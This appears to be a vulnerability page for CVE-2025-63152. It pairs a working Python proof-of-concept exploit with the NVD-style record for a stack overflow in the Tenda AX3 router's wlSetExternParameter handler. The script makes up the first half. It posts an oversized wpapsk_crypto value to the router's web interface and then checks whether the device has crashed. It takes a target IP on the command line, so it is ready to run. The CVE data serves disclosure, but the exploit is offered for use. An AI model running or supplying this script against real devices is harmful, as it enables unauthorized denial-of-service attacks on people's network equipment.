CVE-2025-63152

import requests import sys # CVE-2025-63152 PoC - Tenda AX3 Stack Overflow in wlSetExternParameter # Target: Tenda AX3 V16.03.12.10_CN # Vulnerability: Stack overflow via wpapsk_crypto parameter # Impact: Denial of Service (DoS) def exploit_tenda_ax3(target_ip, target_port=80): """ Exploit stack overflow in Tenda AX3 wlSetExternParameter function Args: target_ip: Target router IP address target_port: Target router web interface port (default: 80) Returns: bool: True if exploit sent successfully, False otherwise """ url = f"http://{target_ip}:{target_port}/goform/wlSetExternParameter" # Generate payload with excessive length to trigger stack overflow # The wpapsk_crypto parameter is vulnerable to buffer overflow overflow_length = 1024 # Adjust based on actual buffer size payload = "A" * overflow_length # Construct POST data with malicious wpapsk_crypto parameter data = { "wpapsk_crypto": payload, "wireless_mode": "11ax", "channel": "auto", "band": "2.4G" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/x-www-form-urlencoded" } try: print(f"[*] Sending exploit payload to {target_ip}:{target_port}") print(f"[*] Payload length: {len(payload)} bytes") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response status: {response.status_code}") # Verify if target is vulnerable by checking for DoS condition # Send follow-up request to confirm service disruption check_url = f"http://{target_ip}:{target_port}/" try: check_response = requests.get(check_url, timeout=5) print(f"[*] Target still responding (status: {check_response.status_code})") return True except requests.exceptions.RequestException: print(f"[!] Target appears to be down - DoS successful") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") print(f"Example: python {sys.argv[0]} 192.168.0.1 80") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_tenda_ax3(target, port)

{"cve": {"id": "CVE-2025-63152", "sourceIdentifier": "[email protected]", "published": "2025-11-10T16:15:45.043", "lastModified": "2025-11-17T19:07:39.120", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tenda AX3 V16.03.12.10_CN was discovered to contain a stack overflow in the wpapsk_crypto parameter of the wlSetExternParameter function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted request."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ax3_firmware:16.03.12.10:*:*:*:*:*:*:*", "matchCriteriaId": "08A2E630-D40C-4ECE-8B4D-BA2482267F3C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ax3:-:*:*:*:*:*:*:*", "matchCriteriaId": "6A01F4C4-FFFF-48DD-90DB-4DD29FE57479"}]}]}], "references": [{"url": "https://github.com/0-fool/VulnbyCola/blob/main/Tenda/AX-3/4/1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}